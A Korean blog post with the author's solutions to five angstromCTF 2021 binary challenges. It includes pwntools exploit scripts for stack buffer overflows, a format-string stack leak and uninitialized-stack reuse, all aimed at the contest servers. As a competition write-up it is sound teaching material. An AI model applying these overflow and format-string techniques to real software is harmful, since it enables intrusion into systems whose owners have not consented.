CTF/Write UPs

[angstromCTF 2021 : binary] 내가 푼 문제들 풀이

jir4vvit 2021. 4. 8. 13:26
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro
대회 정보 : 
ctftime.org/event/1265 (angstromCTF 2021)

 


Secure Login

'/dev/urandom' 에서 가져온 flag와 나의 인풋값을 strcmp 함수로 비교하고 똑같으면 flag를 던져주는 문제이다.

 

'/dev/urandom' 에서 flag를 가져오는데, 저게 뭔지 몰라서 구글링을 하다가 '/dev/urandom 취약점' 이란 연관검색어를 발견했다. 하지만 그런 취약점은 없고, /dev/urandom은 정말 무조건 랜덤(예측불가능한) 문자열을 가져온다. 여기서 삽질하지 말 것.

 

strcmp 함수는 문자열 두개를 비교할 때 null이 아닐 경우에 한글자한글자를 비교한다. 만약 null이 오면 비교를 끝낸다.

'ABCDE', 'ABCDD' 이 두 개의 문자열은 다르다.

'ABC\0D', 'ABC\0E' 이 두 개의 문자열은 같다.

'\0', '\0' 그럼 이 두 개의 문자열은???? 같다. 

 

이것을 이용하여 문제를 풀려고 했다. 이 문제는 아래의 Shell 카테고리에 터미널이 주어지는데 여기에서 문제를 풀어야 한다. 

하지만 보다시피 이 디렉토리에 파이썬 파일 등... w할 수 있는 권한이 없기 때문에 어떻게 NULL을 보내야하나 고민을 했었고, 익스 파일을 작성을 못한다면 보다 간단한 입력으로 문제가 풀리지 않을까 하는 생각이 있었다. 그래서 그냥 아래처럼 무작정 엔터..를 보냈다. (생각보다 꽤 많이 시도함)

그랬더니 flag를 던져줬다..;;

랜덤값의 첫 글자가 0xa로 같은 경우에 flag를 주는데 확률이 꽤나 희박한 것 같다.

 

tranquil

gets함수에서 BOF가 대ㅐㅐ놓고 터진다. 심지어 flag주는 함수도 있는데 RET에 그 함수 주소를 넣으면 끝

from pwn import *

#p = process('./tranquil')
p = remote('shell.actf.co', 21830)
e = ELF('./tranquil')

payload = ''
payload += 'a' * 64
payload += 'b' * 8
payload += p64(0x401196)

p.sendline(payload)

p.interactive()

Sanity Checks

gets함수로 패쓰워드를 입력받는데 BOF가 터진다.

패쓰워드 'password123'와 특정 변수들의 값을 다 맞춰야 flag를 던져준다.

IDA보고 변수 순서 맞춰서 특정값으로 바꿔주었다. 

from pwn import *

#p = process('./checks')
p = remote('shell.actf.co', 21303)
e = ELF('./checks')

payload = ''
payload += 'password123'
payload += '\x00' * (0x40-len(payload))
payload += 'b' * 0xC

print hex(len(payload))
payload += p32(int(17))
#print hex(len(payload))
payload += p32(int(61))
payload += p32(int(245))
payload += p32(int(55))
payload += p32(int(50))

print hex(len(payload))

p.sendlineafter(': ', payload)

p.interactive()

4바이트로 숫자 주려고 p32를 썼다.

 

사실 이렇게 귀찮게 변수 값 안맞춰줘도 된다. 어차피 BOF가 터지니 RET를 flag 뱉어주는 곳으로 돌려도 문제를 풀 수 있다.

stickystacks

FSB가 터진다.

로컬

%6$p 부터 stack을 읽을 수 있으니 로컬 기준 %31$p부터 flag를 읽을 수 있다. 하지만 리못트로 해보니 offset이 31이 아니라 33이었다. 

그래서 대충 뭔가 flag값인거 같은..? 읽을 수 있는 아스키 숫자들..? 나올 때 까지 계속 %33$p, %34$p ... 이런식으로 인풋을 넣어서 파이썬 코드 작성해서 flag를 구할 수 있었다.

# flag.py

def find_flag(a):
    flag = ''
    for i in range(0, len(a)):
        flag += a[i].decode('hex')[::-1]

    print(flag)
    return flag


# %33$p
a = "6c65777b66746361".split('0x')
b = "61625f6d27695f6c".split('0x')
c = "6c625f6e695f6b63".split('0x')
d = "5f7365795f6b6361".split('0x')
e = "6b6361625f6d2769".split('0x')
f = "5f6568745f6e695f".split('0x')
g = "65625f6b63617473".split('0x')
h = "3439323135623963".split('0x')
i = "3438363737646165".split('0x')
j = "aa7d333935663161".split('0x')

find_flag(a)
find_flag(b)
find_flag(c)
find_flag(d)
find_flag(e)
find_flag(f)
find_flag(g)
find_flag(h)
find_flag(i)
find_flag(j)

#print(flag)

 

저거 다 이으면 플래그다 ㅎㅎ;

코딩을 못해서 손이 고생했다.

 

RAIId Shadow Legends

player.skill의 값이 1337이면 flag를 뱉어준다. 그래서 player.skill의 값을 1337로 만들어줘야한다.

저기 player.name을 입력할 때는 이미 player가 정의되어 쓰레기값이 들어가 있는 상태이다.

 

정의를 해서 할당이 됏는데 그 이후의 인풋으로 player.skill을 바꿀 수 있을까? 아니요,..

 

이 구조체를 할당받기 이전의 인풋에서 스택에 미리 1337을 깔아놓고 그 위에 구조체를 할당받으면 문제가 풀린다.

 

디버깅할 때 저거 rbp-0x4c 이용해서 하면 skill값을 더 빨리 찾을 수 있다. (넘 당연한 소린가 ㅎ)

yes 입력할 때 skill도 덮어버리기~ 

from pwn import *

#p = process('./raiid_shadow_legends')
p = remote('shell.actf.co', 21300)
#e = ELF('./raiid_shadow_legends')

p.sendlineafter('? ', '1')

input = ''
input += 'yess'
input += p64(0x539)

#pause()
p.sendlineafter('? ', input) 

p.sendlineafter('? ', 'yes')

#pause()
p.sendlineafter(': ', 'AAAAAAAA')
p.sendlineafter(': ', 'BBBBBBBB')

p.sendlineafter('? ', '2')

p.interactive()